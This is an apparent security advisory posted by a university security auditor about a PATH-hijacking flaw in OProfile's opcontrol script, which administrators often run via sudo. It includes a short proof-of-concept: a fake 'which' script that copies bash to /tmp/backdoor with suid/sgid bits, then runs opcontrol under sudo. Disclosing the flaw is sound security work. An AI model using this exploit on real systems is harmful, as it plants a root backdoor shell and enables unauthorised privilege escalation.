oprofile.txt

`Hello all,  
  
I recently audited a box with a software called OProfile  
(http://oprofile.sourceforge.net/).  
  
"OProfile is a system-wide profiler for Linux systems, capable of profiling all  
running code at low overhead. OProfile is released under the GNU GPL.  
It consists of a kernel driver and a daemon for collecting sample data, and  
several post-profiling tools for turning data into information.  
OProfile leverages the hardware performance counters of the CPU to enable  
profiling of a wide variety of interesting statistics, which can also be used  
for basic time-spent profiling. All code is profiled: hardware and software  
interrupt handlers, kernel modules, the kernel, shared libraries, and  
applications.  
OProfile is currently in alpha status; however it has proven stable over a large  
number of differing configurations; it is being used on machines ranging from  
laptops to 16-way NUMA-Q boxes. As always, there is no warranty. "  
  
At least one of the scripts that ships with this software (opcontrol) has a  
security flaw which enables a user to run arbitrary commands.  
  
The script itself isnt suid root *but*, to take full advantage of some of the  
features the software has, a lot of administrators give 'sudo' privileges to  
that script.  
  
Whoever coded the script tried protecting it against executing binaries out of a  
safe PATH by defining one on line 1416:  
PATH=/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin  
  
The problem is that this script does not check where the 'which' or 'dirname'  
binary is executed from on line 1413/1414.  
  
This enables a malicious user to execute arbitrary code by using the following  
pseudo'exploit':  
cat > which  
#!/bin/sh  
/bin/cp /bin/bash /tmp/backdoor  
/bin/chmod 6755 /tmp/backdoor  
^C  
set PATH="."  
/usr/bin/sudo /usr/local/bin/opcontrol  
  
Vulnerable: <= oprofile-0.9.1  
  
I contacted the developer(s) and got the following response:  
"Do not trust admin privileges to unaudited code" - indeed these are words of  
wisdom :o)  
  
Apparently giving sudo to oprofile is a very common practice [Take RedHat for  
instance -> http://www.redhat.com/magazine/012oct05/features/oprofile/ ].  
  
Best regards,  
+---------------------------------  
| Luís Miguel Ferreira da Silva  
| Unidade de Qualidade e Segurança  
| Centro de Informática  
| Professor Correia Araújo  
| Faculdade de Engenharia da  
| Universidade do Porto`